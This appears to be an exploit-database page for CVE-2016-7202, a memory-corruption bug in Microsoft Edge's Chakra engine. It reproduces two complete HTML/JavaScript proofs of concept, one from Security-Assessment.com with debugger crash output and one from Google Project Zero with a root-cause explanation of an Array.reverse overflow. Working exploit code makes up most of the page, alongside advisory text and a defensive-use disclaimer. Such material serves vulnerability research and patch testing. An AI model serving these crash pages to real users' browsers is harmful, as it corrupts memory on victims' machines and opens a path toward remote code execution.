Materialized exploit

CVE-2016-7202

HIGH

2 public exploit(s) for this CVE, 2 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge Scripting Engine - Memory Corruption (MS16-129)

By Security-Assessment.com

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<!--
Source: http://www.security-assessment.com/files/documents/advisory/edge_chakra_mem_corruption.pdf

Name: Microsoft Edge Scripting Engine Memory Corruption Vulnerability (MS16-129)
CVE: CVE-2016-7202
Vendor Website: http://www.microsoft.com/
Date Released: 09/11/2016
Affected Software: Microsoft Windows 10, Microsoft Windows Server 2016
Researchers: Scott Bell

Description

A memory corruption vulnerability was identified in the Microsoft Edge Chakra JavaScript engine which could
allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the
current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can
generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this
are often hosted on legitimate websites which have been compromised by other means.

The following table shows some cursory debug information:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00040001 ebx=01b1e760 ecx=00000012 edx=00000006 esi=00000000 edi=03f60000
eip=6a714bea esp=0328fa80 ebp=0328fab0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
jscript9!Recycler::ScanObject+0x23:
6a714bea 8b37 mov esi,dword ptr [edi] ds:0023:03f60000=????????
2:046> k
ChildEBP RetAddr
0328fab0 6a589768 jscript9!Recycler::ScanObject+0x23
0328facc 6a58973a jscript9!Recycler::TryMarkBigBlockList+0x22
0328faf0 6a589d83 jscript9!Recycler::ScanArena+0x7a
0328fb24 6a585f4c jscript9!Recycler::BackgroundFindRoots+0x8e
0328fb34 6a561263 jscript9!Recycler::DoBackgroundWork+0x103
0328fb60 6a6b162c jscript9!Recycler::ThreadProc+0xd1
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Windows\system32\msvcrt.dll -
0328fb98 775c1287 jscript9!Recycler::StaticThreadProc+0x1c
WARNING: Stack unwind information not available. Following frames may be wrong.
0328fbd0 775c1328 msvcrt!itow_s+0x4c
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Windows\system32\kernel32.dll -
0328fbd8 7793ef1c msvcrt!endthreadex+0x6c
0328fbe4 777e3648 kernel32!BaseThreadInitThunk+0x12
0328fc24 777e361b ntdll!__RtlUserThreadStart+0x70
0328fc3c 00000000 ntdll!_RtlUserThreadStart+0x1b

The following proof of concept code can be used to reproduce the vulnerability:
-->

<html>
<META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT">
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5">
<body>
<script>try{
for(var z in "a") a1.set(a1, '' );
Array.prototype.sort.call(a1, 'a', a1)
a1 = this;
a2 = [];
a1 = a2.concat(a1.a1);
var a1 = new Iterator(a1);
a1.add(a1);
for (let zzz = 0; zzz < 117; ++zzz) {a1.unshift(a2, a1);}
a1.reverse();
Array.prototype.reverse.call(a1);
a1.splice(1, 10);
}catch(e){};</script>
</body>
</html>

<!--

Solution
M
icrosoft validated this security issue and issued a patch (MS16-129) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high
quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of
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creating long and lasting professional relationships with our clients.
Security-Assessment.com is committed to security research and development, and its team continues to identify
and responsibly publish vulnerabilities in public and private software vendor's products. Members of the
Security-Assessment.com R&D team are globally recognised through their release of whitepapers and
presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web www.security-assessment.com
Email info@security-assessment.com
-->

ExploitDB dos windows Verified

Source

Microsoft Edge - 'Array.reverse' Overflow

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=925

There is an overflow when reversing arrays in Chakra.

On line 5112 of JavascriptArray::EntryReverse, the length of the array is fetched and stored. It is then passed as a parameter into JavascriptArray::ReverseHelper, which then calls FillFromPrototypes, which can change the size of the array. If the size of the array is set to be larger than it was when the length was fetched, the calculation of the array segment head left value on line 5219:

     seg->left = ((uint32)length) - (seg->left + seg->length);

Can become a very large value (as length is larger than seg->length and seg->left is generally 0). This can cause the segment length to become larger than the segment size the next time SparseArraySegmentBase::EnsureSizeInBound is called, as the method contains the following code:

        uint32 nextLeft = next ? next->left : JavascriptArray::MaxArrayLength;
        Assert(nextLeft > left);

        if(size != 0)
        {

            size = min(size, nextLeft - left);
        }

nextLeft can be smaller than the segment length if next is null and left is very large, leading size to be set to a small value which is less than the segment length. Many other methods, including setting an element of an array assume that size is less than length, and often allocate size bytes then copy length bytes, leading to an overflow if length is actually more than size.

A minimal PoC is as follows:

var a = [1];
a.length = 1000;
var j = [];

var o = {};
  Object.defineProperty(o, '1', {
    get: function() {
      a.length = 1002;
      j.fill.call(a, 7.7);
      return 2;
    }
  });

a.__proto__ = o;

var r = j.reverse.call(a);
r.length = 0xfffffffe;
r[0xfffffffe - 1] = 10;

A full PoC is attached. Note that this PoC sometimes needs to be refreshed a few times to cause a crash.
-->

<html>
<head><meta http-equiv="refresh" content="1">
</head>
<body>
<script>

var a = [1];
a.length = 1000;
var j = [];


var o = {};
  Object.defineProperty(o, '1', {
    get: function() {
      //alert('get!');
      a.length = 1002;
      j.fill.call(a, 7.7);
      return 2;
    }
  });

a.__proto__ = o;

var place = [];
for(var i = 0; i < 10; i++){
var r = j.reverse.call(a);
r.length = 0xfffffffe;
r[0xfffffffe - 1] = 10;
var q = [1,2,3,4,5,6,7,8,9,10];
place.push(q);
}
//alert(place.join());

</script>
</body>
</html>